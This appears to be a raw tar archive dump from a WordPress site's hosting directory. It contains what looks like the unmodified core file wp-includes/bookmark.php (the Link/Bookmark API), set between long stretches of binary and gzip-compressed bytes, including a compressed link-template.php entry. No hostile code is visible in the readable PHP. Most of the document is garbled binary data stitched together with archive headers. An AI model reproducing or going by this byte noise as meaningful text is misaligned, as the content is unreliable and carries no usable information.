x9�G4�Q0���=hV����k��A6r�F8ݐ�)�m�@h'H�w�갱
��WK�W.�w6x����!E!%p���<
	S��fw�f~�?����ܧ]3��"����9N\(���;������������3���*YS��6D�o�s������>�C���y���*�-ӟ�_]	Nu�nU�F��V�{,�4�>��#F�L2�Ͽ�uM�A�ۖR�j�c����\"����%�δ��a���lgzJ�|O��f���̮�H��3@߯�����&<:~i��D��:���-�:g��V��]
��/6�@|*���O���u�/��nBc�b������\��<具�'�m&���,C��߱�tp�^�8Y]�$���m���k��p�Xt��Il�e��G$)Sh�,d����1r��%�ЋW��K�z�ց����\VK����λP�Cy_�y��1
���]����ٲ��o�yئ��~x
,ײ����uҬ0-��� �Ɩ�|���|8��sΔ�59���`�h�X��7x�6>\6��)�,�Y�`��n�u��I~(6g��T����>%t�G)դ!z��~5P��i��􍥾t4Рg���xL'����4c�ٜ�:��C��uvIȻ�6 ��L1?Q�ݦ��(�c�
��O�����;>�ۄuU_dy7�@�.��H�����	uV$�FHӰ����8��L�S3�i3͚�T���7V���B��*�U�˩E��2�H/I1	l�y���9�Z.�Z�ث�,�ѣ��!��!Z����;��K���Q��9��es8�� �R�N���օ�QCbbeD:���0�wW$�ތ@=I�7�����^w'��A��|��j�@��1���n�k������﷿�~�����A�'!f14338/bookmark.php.tar000064400000042000151024420100010312 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/bookmark.php000064400000036103151024201600023664 0ustar00<?php
/**
 * Link/Bookmark API
 *
 * @package WordPress
 * @subpackage Bookmark
 */

/**
 * Retrieves bookmark data.
 *
 * @since 2.1.0
 *
 * @global object $link Current link object.
 * @global wpdb   $wpdb WordPress database abstraction object.
 *
 * @param int|stdClass $bookmark
 * @param string       $output   Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                               correspond to an stdClass object, an associative array, or a numeric array,
 *                               respectively. Default OBJECT.
 * @param string       $filter   Optional. How to sanitize bookmark fields. Default 'raw'.
 * @return array|object|null Type returned depends on $output value.
 */
function get_bookmark( $bookmark, $output = OBJECT, $filter = 'raw' ) {
	global $wpdb;

	if ( empty( $bookmark ) ) {
		if ( isset( $GLOBALS['link'] ) ) {
			$_bookmark = & $GLOBALS['link'];
		} else {
			$_bookmark = null;
		}
	} elseif ( is_object( $bookmark ) ) {
		wp_cache_add( $bookmark->link_id, $bookmark, 'bookmark' );
		$_bookmark = $bookmark;
	} else {
		if ( isset( $GLOBALS['link'] ) && ( $GLOBALS['link']->link_id === $bookmark ) ) {
			$_bookmark = & $GLOBALS['link'];
		} else {
			$_bookmark = wp_cache_get( $bookmark, 'bookmark' );
			if ( ! $_bookmark ) {
				$_bookmark = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark ) );
				if ( $_bookmark ) {
					$_bookmark->link_category = array_unique( wp_get_object_terms( $_bookmark->link_id, 'link_category', array( 'fields' => 'ids' ) ) );
					wp_cache_add( $_bookmark->link_id, $_bookmark, 'bookmark' );
				}
			}
		}
	}

	if ( ! $_bookmark ) {
		return $_bookmark;
	}

	$_bookmark = sanitize_bookmark( $_bookmark, $filter );

	if ( OBJECT === $output ) {
		return $_bookmark;
	} elseif ( ARRAY_A === $output ) {
		return get_object_vars( $_bookmark );
	} elseif ( ARRAY_N === $output ) {
		return array_values( get_object_vars( $_bookmark ) );
	} else {
		return $_bookmark;
	}
}

/**
 * Retrieves single bookmark data item or field.
 *
 * @since 2.3.0
 *
 * @param string $field    The name of the data field to return.
 * @param int    $bookmark The bookmark ID to get field.
 * @param string $context  Optional. The context of how the field will be used. Default 'display'.
 * @return string|WP_Error
 */
function get_bookmark_field( $field, $bookmark, $context = 'display' ) {
	$bookmark = (int) $bookmark;
	$bookmark = get_bookmark( $bookmark );

	if ( is_wp_error( $bookmark ) ) {
		return $bookmark;
	}

	if ( ! is_object( $bookmark ) ) {
		return '';
	}

	if ( ! isset( $bookmark->$field ) ) {
		return '';
	}

	return sanitize_bookmark_field( $field, $bookmark->$field, $bookmark->link_id, $context );
}

/**
 * Retrieves the list of bookmarks.
 *
 * Attempts to retrieve from the cache first based on MD5 hash of arguments. If
 * that fails, then the query will be built from the arguments and executed. The
 * results will be stored to the cache.
 *
 * @since 2.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string|array $args {
 *     Optional. String or array of arguments to retrieve bookmarks.
 *
 *     @type string   $orderby        How to order the links by. Accepts 'id', 'link_id', 'name', 'link_name',
 *                                    'url', 'link_url', 'visible', 'link_visible', 'rating', 'link_rating',
 *                                    'owner', 'link_owner', 'updated', 'link_updated', 'notes', 'link_notes',
 *                                    'description', 'link_description', 'length' and 'rand'.
 *                                    When `$orderby` is 'length', orders by the character length of
 *                                    'link_name'. Default 'name'.
 *     @type string   $order          Whether to order bookmarks in ascending or descending order.
 *                                    Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'.
 *     @type int      $limit          Amount of bookmarks to display. Accepts any positive number or
 *                                    -1 for all.  Default -1.
 *     @type string   $category       Comma-separated list of category IDs to include links from.
 *                                    Default empty.
 *     @type string   $category_name  Category to retrieve links for by name. Default empty.
 *     @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts
 *                                    1|true or 0|false. Default 1|true.
 *     @type int|bool $show_updated   Whether to display the time the bookmark was last updated.
 *                                    Accepts 1|true or 0|false. Default 0|false.
 *     @type string   $include        Comma-separated list of bookmark IDs to include. Default empty.
 *     @type string   $exclude        Comma-separated list of bookmark IDs to exclude. Default empty.
 *     @type string   $search         Search terms. Will be SQL-formatted with wildcards before and after
 *                                    and searched in 'link_url', 'link_name' and 'link_description'.
 *                                    Default empty.
 * }
 * @return object[] List of bookmark row objects.
 */
function get_bookmarks( $args = '' ) {
	global $wpdb;

	$defaults = array(
		'orderby'        => 'name',
		'order'          => 'ASC',
		'limit'          => -1,
		'category'       => '',
		'category_name'  => '',
		'hide_invisible' => 1,
		'show_updated'   => 0,
		'include'        => '',
		'exclude'        => '',
		'search'         => '',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	$key   = md5( serialize( $parsed_args ) );
	$cache = wp_cache_get( 'get_bookmarks', 'bookmark' );

	if ( 'rand' !== $parsed_args['orderby'] && $cache ) {
		if ( is_array( $cache ) && isset( $cache[ $key ] ) ) {
			$bookmarks = $cache[ $key ];
			/**
			 * Filters the returned list of bookmarks.
			 *
			 * The first time the hook is evaluated in this file, it returns the cached
			 * bookmarks list. The second evaluation returns a cached bookmarks list if the
			 * link category is passed but does not exist. The third evaluation returns
			 * the full cached results.
			 *
			 * @since 2.1.0
			 *
			 * @see get_bookmarks()
			 *
			 * @param array $bookmarks   List of the cached bookmarks.
			 * @param array $parsed_args An array of bookmark query arguments.
			 */
			return apply_filters( 'get_bookmarks', $bookmarks, $parsed_args );
		}
	}

	if ( ! is_array( $cache ) ) {
		$cache = array();
	}

	$inclusions = '';
	if ( ! empty( $parsed_args['include'] ) ) {
		$parsed_args['exclude']       = '';  // Ignore exclude, category, and category_name params if using include.
		$parsed_args['category']      = '';
		$parsed_args['category_name'] = '';

		$inclinks = wp_parse_id_list( $parsed_args['include'] );
		if ( count( $inclinks ) ) {
			foreach ( $inclinks as $inclink ) {
				if ( empty( $inclusions ) ) {
					$inclusions = ' AND ( link_id = ' . $inclink . ' ';
				} else {
					$inclusions .= ' OR link_id = ' . $inclink . ' ';
				}
			}
		}
	}
	if ( ! empty( $inclusions ) ) {
		$inclusions .= ')';
	}

	$exclusions = '';
	if ( ! empty( $parsed_args['exclude'] ) ) {
		$exlinks = wp_parse_id_list( $parsed_args['exclude'] );
		if ( count( $exlinks ) ) {
			foreach ( $exlinks as $exlink ) {
				if ( empty( $exclusions ) ) {
					$exclusions = ' AND ( link_id <> ' . $exlink . ' ';
				} else {
					$exclusions .= ' AND link_id <> ' . $exlink . ' ';
				}
			}
		}
	}
	if ( ! empty( $exclusions ) ) {
		$exclusions .= ')';
	}

	if ( ! empty( $parsed_args['category_name'] ) ) {
		$parsed_args['category'] = get_term_by( 'name', $parsed_args['category_name'], 'link_category' );
		if ( $parsed_args['category'] ) {
			$parsed_args['category'] = $parsed_args['category']->term_id;
		} else {
			$cache[ $key ] = array();
			wp_cache_set( 'get_bookmarks', $cache, 'bookmark' );
			/** This filter is documented in wp-includes/bookmark.php */
			return apply_filters( 'get_bookmarks', array(), $parsed_args );
		}
	}

	$search = '';
	if ( ! empty( $parsed_args['search'] ) ) {
		$like   = '%' . $wpdb->esc_like( $parsed_args['search'] ) . '%';
		$search = $wpdb->prepare( ' AND ( (link_url LIKE %s) OR (link_name LIKE %s) OR (link_description LIKE %s) ) ', $like, $like, $like );
	}

	$category_query = '';
	$join           = '';
	if ( ! empty( $parsed_args['category'] ) ) {
		$incategories = wp_parse_id_list( $parsed_args['category'] );
		if ( count( $incategories ) ) {
			foreach ( $incategories as $incat ) {
				if ( empty( $category_query ) ) {
					$category_query = ' AND ( tt.term_id = ' . $incat . ' ';
				} else {
					$category_query .= ' OR tt.term_id = ' . $incat . ' ';
				}
			}
		}
	}
	if ( ! empty( $category_query ) ) {
		$category_query .= ") AND taxonomy = 'link_category'";
		$join            = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id";
	}

	if ( $parsed_args['show_updated'] ) {
		$recently_updated_test = ', IF (DATE_ADD(link_updated, INTERVAL 120 MINUTE) >= NOW(), 1,0) as recently_updated ';
	} else {
		$recently_updated_test = '';
	}

	$get_updated = ( $parsed_args['show_updated'] ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : '';

	$orderby = strtolower( $parsed_args['orderby'] );
	$length  = '';
	switch ( $orderby ) {
		case 'length':
			$length = ', CHAR_LENGTH(link_name) AS length';
			break;
		case 'rand':
			$orderby = 'rand()';
			break;
		case 'link_id':
			$orderby = "$wpdb->links.link_id";
			break;
		default:
			$orderparams = array();
			$keys        = array( 'link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes', 'link_description' );
			foreach ( explode( ',', $orderby ) as $ordparam ) {
				$ordparam = trim( $ordparam );

				if ( in_array( 'link_' . $ordparam, $keys, true ) ) {
					$orderparams[] = 'link_' . $ordparam;
				} elseif ( in_array( $ordparam, $keys, true ) ) {
					$orderparams[] = $ordparam;
				}
			}
			$orderby = implode( ',', $orderparams );
	}

	if ( empty( $orderby ) ) {
		$orderby = 'link_name';
	}

	$order = strtoupper( $parsed_args['order'] );
	if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ), true ) ) {
		$order = 'ASC';
	}

	$visible = '';
	if ( $parsed_args['hide_invisible'] ) {
		$visible = "AND link_visible = 'Y'";
	}

	$query  = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query";
	$query .= " $exclusions $inclusions $search";
	$query .= " ORDER BY $orderby $order";
	if ( -1 !== $parsed_args['limit'] ) {
		$query .= ' LIMIT ' . absint( $parsed_args['limit'] );
	}

	$results = $wpdb->get_results( $query );

	if ( 'rand()' !== $orderby ) {
		$cache[ $key ] = $results;
		wp_cache_set( 'get_bookmarks', $cache, 'bookmark' );
	}

	/** This filter is documented in wp-includes/bookmark.php */
	return apply_filters( 'get_bookmarks', $results, $parsed_args );
}

/**
 * Sanitizes all bookmark fields.
 *
 * @since 2.3.0
 *
 * @param stdClass|array $bookmark Bookmark row.
 * @param string         $context  Optional. How to filter the fields. Default 'display'.
 * @return stdClass|array Same type as $bookmark but with fields sanitized.
 */
function sanitize_bookmark( $bookmark, $context = 'display' ) {
	$fields = array(
		'link_id',
		'link_url',
		'link_name',
		'link_image',
		'link_target',
		'link_category',
		'link_description',
		'link_visible',
		'link_owner',
		'link_rating',
		'link_updated',
		'link_rel',
		'link_notes',
		'link_rss',
	);

	if ( is_object( $bookmark ) ) {
		$do_object = true;
		$link_id   = $bookmark->link_id;
	} else {
		$do_object = false;
		$link_id   = $bookmark['link_id'];
	}

	foreach ( $fields as $field ) {
		if ( $do_object ) {
			if ( isset( $bookmark->$field ) ) {
				$bookmark->$field = sanitize_bookmark_field( $field, $bookmark->$field, $link_id, $context );
			}
		} else {
			if ( isset( $bookmark[ $field ] ) ) {
				$bookmark[ $field ] = sanitize_bookmark_field( $field, $bookmark[ $field ], $link_id, $context );
			}
		}
	}

	return $bookmark;
}

/**
 * Sanitizes a bookmark field.
 *
 * Sanitizes the bookmark fields based on what the field name is. If the field
 * has a strict value set, then it will be tested for that, else a more generic
 * filtering is applied. After the more strict filter is applied, if the `$context`
 * is 'raw' then the value is immediately return.
 *
 * Hooks exist for the more generic cases. With the 'edit' context, the {@see 'edit_$field'}
 * filter will be called and passed the `$value` and `$bookmark_id` respectively.
 *
 * With the 'db' context, the {@see 'pre_$field'} filter is called and passed the value.
 * The 'display' context is the final context and has the `$field` has the filter name
 * and is passed the `$value`, `$bookmark_id`, and `$context`, respectively.
 *
 * @since 2.3.0
 *
 * @param string $field       The bookmark field.
 * @param mixed  $value       The bookmark field value.
 * @param int    $bookmark_id Bookmark ID.
 * @param string $context     How to filter the field value. Accepts 'raw', 'edit', 'db',
 *                            'display', 'attribute', or 'js'. Default 'display'.
 * @return mixed The filtered value.
 */
function sanitize_bookmark_field( $field, $value, $bookmark_id, $context ) {
	$int_fields = array( 'link_id', 'link_rating' );
	if ( in_array( $field, $int_fields, true ) ) {
		$value = (int) $value;
	}

	switch ( $field ) {
		case 'link_category': // array( ints )
			$value = array_map( 'absint', (array) $value );
			/*
			 * We return here so that the categories aren't filtered.
			 * The 'link_category' filter is for the name of a link category, not an array of a link's link categories.
			 */
			return $value;

		case 'link_visible': // bool stored as Y|N
			$value = preg_replace( '/[^YNyn]/', '', $value );
			break;
		case 'link_target': // "enum"
			$targets = array( '_top', '_blank' );
			if ( ! in_array( $value, $targets, true ) ) {
				$value = '';
			}
			break;
	}

	if ( 'raw' === $context ) {
		return $value;
	}

	if ( 'edit' === $context ) {
		/** This filter is documented in wp-includes/post.php */
		$value = apply_filters( "edit_{$field}", $value, $bookmark_id );

		if ( 'link_notes' === $field ) {
			$value = esc_html( $value ); // textarea_escaped
		} else {
			$value = esc_attr( $value );
		}
	} elseif ( 'db' === $context ) {
		/** This filter is documented in wp-includes/post.php */
		$value = apply_filters( "pre_{$field}", $value );
	} else {
		/** This filter is documented in wp-includes/post.php */
		$value = apply_filters( "{$field}", $value, $bookmark_id, $context );

		if ( 'attribute' === $context ) {
			$value = esc_attr( $value );
		} elseif ( 'js' === $context ) {
			$value = esc_js( $value );
		}
	}

	// Restore the type for integer fields after esc_attr().
	if ( in_array( $field, $int_fields, true ) ) {
		$value = (int) $value;
	}

	return $value;
}

/**
 * Deletes the bookmark cache.
 *
 * @since 2.7.0
 *
 * @param int $bookmark_id Bookmark ID.
 */
function clean_bookmark_cache( $bookmark_id ) {
	wp_cache_delete( $bookmark_id, 'bookmark' );
	wp_cache_delete( 'get_bookmarks', 'bookmark' );
	clean_object_term_cache( $bookmark_id, 'link' );
}
14338/link-template.php.php.tar.gz000064400000064661151024420100012501 0ustar00��k{Ǒ(�_�_1f(�AI�%�)�"�k��/:�r|�q���X�f"������շ���x�3��{WU�W���tQ�oO�>;.�Ӳ��r8)��xv��׫��j�fX�f����]�dz�d5*��x��pYN�bY����w���O?���������߹��;_|��zO��<�ik�U�,�������ڳ[G���ُ�b�B�B�}��5{�ۚ}��
��jV�BP�?���MqV�
��^����ztK7�t\���u�</�y��=�i��7��bQΖټ��}�S� ������O����d�G�r�U_�A��ټX�rY.�v��M6�-��b�Bʰh��&TL��|�4S��/����e?{Z���2�x�&�I1�=�qb��.P``&��]gw��쟷v`�;j0_�'jh�܈�"�N;����M���L���Zb��%������l���
&����5�e�-j��]�;��ѭ�rx^e��V��~V���)��~�;�����r��AO��<����J5��mYgE�\cU�찞��Z*^�1mB=V����.�8�b4���VF�j
[O��hLP4��²*�[�+�z\
��E���<4�Uz8�9AI�ڬR�	���^�=�k�E�:;�z��?��.�,_��b���V��׌���8�L�E9����.*
%=�3�H
iY�Y@��r�a�=�X|Ÿ����b��]���R�F1�y5S�1�yOAI����b�<Ђ��2؆~����T�q�����Kh����CE�ƣr�Vy���B��&e/*wV-.{Y�@/
?)�
gpo�hdPsy�ã/J(3=b��l8֔3��
�мyd*���=wA��<'��['�������Cղix�xB
��Q��nUw~�ʉZQVI�ҷ�5�۽lTº�:��8/U�E��
�akBT�/�u��n��F�6�Ac?{<��e����8�_��7'�y�i��*�e9-�#�g��S����q��G��*�v��E��^����V��9�1*�"�\�b1<�-s�++|&%t�p;�!!�3ő����)��H��x9)�v+���%�%�{�X^�
�KX�,�rh�X��?Y)���A�JMkq�[ğ��bT��\B|����8����E��>@��,��'������s/�4F$Z8B.�������犪��-�IuQ��LG��ZR�}���G�z��JSY���`^�@p��@�d�,WK��ߞ?}M�ܑY�?���T^��}��Q�0�b'��x�AM0�u�4�%:K5���DӦ�Yi�.T�H�d���R�"S;�ń
o�?�a�0m>d�@p���j���@\��lA#�n���&�.���Bi�~�$����B'3��D������iVM��e9�5Ձȟ)�V���V̫��"T�N���J�0n�"9��;VEλ�.
�R|j�gb��zϬ7=��VP�/���M��?Vo��������%�-ӓ��d�[;���0ԤJ��3�	��~�T�$��u?;-T{,�<�?t�+�{��tg����
�,�oq!���R��v���V�<�[�x��X���;���o��Q�bu2��v\^'k���{$�{��
l��_W��u��*@w��b��P��F�,_�{�0g%,ϔ�_�X]��	�D�ln�l���y����<4���{����<F^�T;�p=1@36�EK�\()F.M����4��H�tv,��"oV�
!~����h��VK�P%4���S���g�@G�YN��d�[LJ�K�b�`o�rN�`��M�`{�=�hP��'���g_���C�$5��eLNdX��ŧ'�pLc!�ČN���bs`16�;�0p����]oc�X��[,�%P�6(7�A1R��3[M���s�J³��3%��Z5:ѓ����6���H��#��.�\��"�hhN��i�򩨈�%�,-d[�
(��+dIڌH	��4�׭�#Qe	��b��gPJ++���u���H��w�dB�����+�(A�惓�ڐ�L�ꡁ�n��&��-�[i/+DzXv�%�7'�(f؉�N�:K�|R��kWoJ/��j]
]��g`���'�U�
P���Q������O�|&��,Ky�w]L��W�F))�﫲�s�h�*��'���!�d�����d�(i��n���g�O�,�lu�VXl�4�B�#`8´Z��"}K���v<��H�fj�3`ͺ�CP�&�%约��dR_�X��˟z�!���AY�QC!P��哜K�?�F ,@���f���b	�F�~�M�v���ܚn�'�����Rmd8g0�{%
Ҧ���N��1>*L)�4�mN�뮈Y��Ҫ���n�x�w���#�X���N�S�5<��'�ӝ�����,�f�Ԥf�Ǟ0h2l	h��qP��a=Y�Qq�n�(@�4x:8�1�`�n�G�]
�(7Ľo��0~���s�У6��yu����‹�����n+�
O�*��RK@�R�v8^N.���9��4~`�;x�}pX�_2&�-tЬ�U>�F!~�X��2(s߇���W���"�#��;��b� o�jT,^P���e���Z��ph����`6"A�����K>�S����(\?)���k��
��,��ރ��o�ɪ�Q���Ṷi��p>
U��:�T�r�̢<+�	����_��"��f������c�6%�+��r<F�<`�C8[�OP�Y�,�g�P�-H���*b�ʇ{����|���P�/�?�ݒ�������j�l�Y���2o�R`ӗ�h�4Q�2�Jњj!?;:[����\Ine�I���lx)��0���P�h~��ڛN	]��+�("��""�P;<���ik��){El�QpȆ+E&�|:�V5�Q�q�}>���߁��Pk�W�5���|�v��i$�(kgΰ�������Z��l.QE!ax���sV�8J�/}t �{��J�h��EQA;)z�&N�큈��V��Ԛ��n���#��:���$#����\�;�cm��a3�j1�Fq#m0�J��%&��5pWz;ya	H���vo�3�����sBr�הe$)v&f�y�k������k!
�(�%9�η��v�8Kti����+���-_�����6%]*7g���+;�O��"]�q�=Z�u���z���Ø�ʖ|'�v���pu=�Ww�y�ػs�{m��'?��,�~P�������R��$��ީ�gW9��1:�l��R4�TtdǺ��RhH�E��
���e�����V}��Y�#�ʜ�ٰ��;J�Z�-9s�YYw<
@^*Gy�ȅk��R.��Z��GX��R���=a��S�1�b�qSڢ�Ȋ�(�:Q�����Y��s�Z<��n ��m�s=���C1�x�N��VpC��N��ظ!�@K��p�Rp2Ro�*�����L����������#5�ĐԊ�cB�f�1�uvl@0���
��Y5;tM�LqyOd:Mq]\���5�2�̞9;F�uR:'S"B���H�VK�ބ�����{���_��t�.x������	���c�a�ƭ�x���\\���N� 
��t"�}��шʏ�����T�~�1�п�f[T̪����9�iϱ�}�:��)��p�#= �+Qݲn��C�>�C�E�I��O�Y9f>�4����*��o��.�b&�
7���́�²i�:�x�?�c������x����FϠIw7�w8.-��v���oZs3�	5[M��x�f��=����h`�.DG��Y�!�K�ã/�|xD^�gUe��G�'��M���u��+�|�d�V3{$'���#�7�S�!��mYG�1�(��*�c\�#=��I�eхϘ�E���H��>�<w�P������1Fթ�2t�Ÿf�>0��(�aa0��J'~$iL�Ѹ�P$�s��[�Ӯ���v6�F��c�W���
��f�V7ټ�)6����}�}������Y����ߧ4�`F`���ős�H5�Ys,�h��,�C�A�@����p�
�4.��Ӹ|���?�]��	{�R�������JtY�7ě�M	�i��^"�-Qf/A:�wX~��j�F���=�Tf��1�
��龆�u!�zX�ASm�X#�a\�՚�b5�h����.z�:��~jM-Q�)�@co!����n�A�~�RUD
d�(ոV���M�z�=��4��JnLa|!8�]�ӷ��k$D
nJ���BR�t�L���ȯB�jy���#bG�¬C�F�e��!���W kA+#�Y���6��QU�e�ȣ*#�=�@"u-3��3��?��m(���0���k���QSS�Ac�Δ�c{�4����P+9梜#B�cmu"��i#ueSڬRf�x#]^�*���~
"D���h�F�'6-��Ҍ�!�J�d${g(�I�pj��dY��d��i'��t
�zq��]g��/�u}\��e5�N�<GGlh.R���P4��9
>h�H���pm"m�����u��aЏlk��h�!�/�z�y8�Џ5�3����ZE4R�����M�M�6�N�)���+,:�P:�yC�AIm�@(��Œ���fZ�u$��_���Y���0 &m�К��oN������>;���z�Yz���U����
���L�WE8;;-���qKkp��t�4APG�Lx�J�փu#�����<u�p���9k�Ȗ���j9_-i��M�"��n%�R��eȠ3�p��\w��X?�{MKΓ�3�}����e�m�T�TN�cؗ��ٶ)�f�9!�8��f�mƓE�u�{S~Ǹy=8��!��C�<�[�k�_�@�#ްr���3%c��{Y5�B������'a.(s�lpL2��5�KP�kq�6q)*�9��������?�wN��Ԧ�ؘ������(��Zp0i�$qC8�Z*q�T[��D��$��jFg:�H��>�8��_X�0ܲ����7q&�]�W��:�f�,��;��
�r[�0��n��v�H��8�G>������.�>�}��ku^tDG��g����H9

��M�}���a7%cu2rzG�"�$��m!Ԯ�Ary�쮠��5������	PZS��=d���07D03���o8��o��s�)%틶�Z�FBV�[TJ�8��Цe�-�
/���I��*��L�����I��H��CX�ʺ����0�?�c��3g��1�������Š�<ĩH{�����Ӳ.���mi�+R�>��BN�o��"��[���MҺ��(-��5>&��J-V���`omҔT[q�id9��`��Gk8o�fY�ö+ۮ5_�R�n��{�?ushNY�����w���A�ھ��=Xb�����r�'��ϣx�!P�:G�������J���l'�~�cMφX�c��E�!��4~R�.��IA͟��`m�i��j���(		~���W쾉-6д�y�Zw;�/7}slݺx�@�b��=����g5��	׮���+��g��;���t��fr��z3�D��XF�u&�n�5m�ڡ���X(��a�y'�%‚D<!蛦�-��ԕ�누�x�A��Y�(�Y�xuoJ"�F&�݉���^�p*iR/�i�=��w�A���)�(������U-W]oql�B�͕��;
y�,�C�_Ú��39I�$V/C�+�^b������bm�M^6����e�9�K�(�I�\��W��e�K5����f�JA��=ξ�`B�V�b[��nKIp��@޽F��f�b��1��e�kI��e�_���H%��"�'�]�������3��GL>�o�(�lA�j��Df���bW�
di��T�z��Yh�C�[q�y7���R��FL�|����컛ޭ���Hm�4) �x`��)��P��,�|VJ~�86!�딏K���ɑ:�cB��zD�\�+�V�w4�ؽ�'���m�"��R]wY��BŒa�}�d�pe�Y�Ȓ�U�i)�t�e������~�Ap������E���6�E���h�
�O:�s��u�r�#��!��=ZRC9K����`Q��zQ��K#�.K���{
lo[遱��A2�80nF�;P���)[֐��7��پ^+P�fL
�ك������؞��.�'i�wR r�|�8�S�Y�AŚ��i�w(�C�I��t��c��q(���:��3d%ɽScp�ǗB��6�n�?؅��Xq
7�D�]�ҙ�5�	�8FG�����_��42g�C���Bk&�X�%[ 6�:�D����SN�@�eU�݉ǹIR.ב���fM];�@zm��gEzZ�4�քZ�[Ȅ�Ƿ����ֿ�3�6׷}gE�MHˣ!m
��{`.�[��ɥ������TΖh�j�Q?k/i#͕\T܋�yHx�+޹]e���?���:H��t�N��J'?���A�r:^��4L{����{���G�R�����x.�ڐ]�4:0�l)n��SGc�lK����ؔ�5	�'�b�fm��'z!���;���J�l� ��ذ���Qco�!$�t�P������ߨa�N/gq�]�$����\E���a�n{
-.J�`֒�
��>���9O��tIl�z꩷�񌝭�����`:ѐq�$�!e���R�鞲��Q�CB��MxIH:���I#^�b�}:�U��؊��daV �������4˖�6rc<�>)�Ų�v�M�,�W�<%����5��dP7a�z�h oƒ�ќF<�0�&f�;�Q�	*m��-ƥ�V
g�~��7p����R���i8۞���HI�`V��$u<H�K�R|zgiA>(n>γ��+n�'2�,ΏO8�	N��Y�j�}K�fC��!��٨h`*�
�p�k�&R�^�z�6Ѧt8D�����Y-D3V
ƴ[�ܐ�Q��k�t.�o6D�%�Q7+o;��OT�w\����4��饒�8BHC�ͱ1V��h@�N��5��*���c�8ٷڵCRL���Pݮs�I璱�K�)%j.�m�T@&+�1Y�z(gC��K2���c��󓡚���і�<�HT���f���t�P�LO��l9�W�C�r�7	�XoS�mG=o%8�[c;�pBm�5A�B\;B=�^���rO��^�WF��˴)0A�)��݃��"���Um��H��W_��w��5�^���G4Fֻ͓ΚŽL�io䉾KJ����z��ϏM�#|{�G�S�۵�Y�ҕ��n��q-�u�t�m�O��5�E�@����5��3{_MG��?�F�҇��ѫP����=�䆴y�ЁNE�~6$XW�B!�K
�q��������E+-��`m/��T'
FW�����
�S�����>���K5�I�,��w5`Ƶ�͖d��)�Z�o^���jAI����m�b	ʱm2a�o_�1w��QNM�^��x�����6o΋�%��N�г)����g
�
�����[��?ʼ�I_T�b&��#�֯O�A���1�TG���W�=
��Rz~�Y�4��JN����u���6��b;	~ ^x��o�����m��p�j���^<�w������u�����)����~S�	6�
iğ
tĹ
���9��x�EU�������L�z����SϦ�w�$a� ��V*�!㝯u�,s�xhI��&͓~_ѢQ��iͿ1ǔr��	?�sM�����LD�����I:3��@6a�['��XV�6�t==+�j�c�g�.�e͉Mt6Qt&�i#C;A���k�9�C)�<�\��4'��|Q�'�@>�L����D�P]>����ѕ�Q@S?���v�,qC�k.�ڿ+
{N�AD���N7����u���n�:{���t��J����S���_��Իab0͕w�����TɭJЙ�3�?�kK��Ζ耾d��USJ���������b���v���%�nU��i�O��i�we�9r���
ka�}�΄̅c�,k5%"��y9��IU�&&�X��)����)Y>'%N�a~�#�m�_�&"�M�Q���{���|�)�e�G���R��n�IS0yl!v�~�@�+&C-�ه��[�����	,d$ٹ�N�D\~��P�\&�0�z���j;Qs����Vh��db[//'PZ+�5�/�aW���Q:�G?ϰ�u6\Պ��9*lV��&�r�:��~�Z��C�ćK�x�5�ƙ�Li.��[3X�GG '����PwN�
M����\����@��x�.�XWX��;�J#sIu��H1��S���_��|j#���P�?�A��¤�1��^1t�-E4�V�#
�Q�|<���f’^�+s�����K|Y�.Vhtn���H�oM�����b�{�B�l�0�Nxn��,���bu�xҽ�Yx��sH�w�Ƈ	N�����ݘ�[��<�͇�O8~��;��&�:���c�?�&��1sY�'�<ך��p�-��4�b>��vU���i�]�]q����j�?ꦼm���N�ʎX�����W���]J�6�A9ú�B_�e
ݑÝ�‘e.k�=�Ifos\��q�n��������V<�}����Qr�G#-�Чe���0�C���ñ���Y�jp9�lی�8�oj�́�%�J�x(QB��e*�W`��̓��d�ӱk@ξ��ez�2�P������u]��TM$����By���G%�D�e��R��<�٥����W4pm�D�J�ZBV8}�N��:�o,́�W�5���t9�~�(j�Z��2��v�h�N<�r�&���ɿ�k�T1e�#�u���E�(s����eہ}7��p_Q����ݓWϿ�n0�e9z�
��ۙ��%�%� �f�[l|��W�5x���_�>���x�=��}�4)hBj��&��267��y2��n�N�4ꟻ����귔Ή�eQ�ʈ�o��0����*������J͟�ذ^��r��iV��q	�3�6K�NѬ��֣/X�5��Yb�,s�k�9��_�4�����3#q�~	$��ṱ��՞yR?{6�-6
H�[��	}x��ex��I�N��	q۴�H����Pl���`E�"�j�Mp,���uҤ ЪD�.8�q�G ��d&!��ͺ��K����&$��yuՃ��i.��L�Ç���]��č��#aX�ה|�8m�j��UQ��͆�PJ�̐��y6�!��0�,��b1�s���=a�.X��4^%�!�t���:�z�P{�i�QRc:���M��B�5��جR'2���!����X1Oq���$�S���3�'�#�IV��-�tMKX��?$�z��vf�� �j�̾�����MF�mf��J����nf�F�))���ⶴxݫ1XD�����$�ʊ�:��EwC?����Z�i��h�ֿ����#��li���L�ś�M4W/GOЂ��;_�o��‹�]�r��UJ����w�WP\��YMH8-f���:O�{q���z���6�W�#��_����DGnJ�����2y$�������r��Ʃܝg�)!��5��kKb����WW6��F�5솨1��`�ڲo��8y��[3͗�c綳[�,�_;���Z�h����mb��A�.+$IJ�{A:�q���F��'�[��Bk�_��&�T�cщ��k��@���ۧR\	�P��$1����7�K[�E	��Q��V�B��
�x�)��Q�F���Q�,d/�Q�7c<��9�d
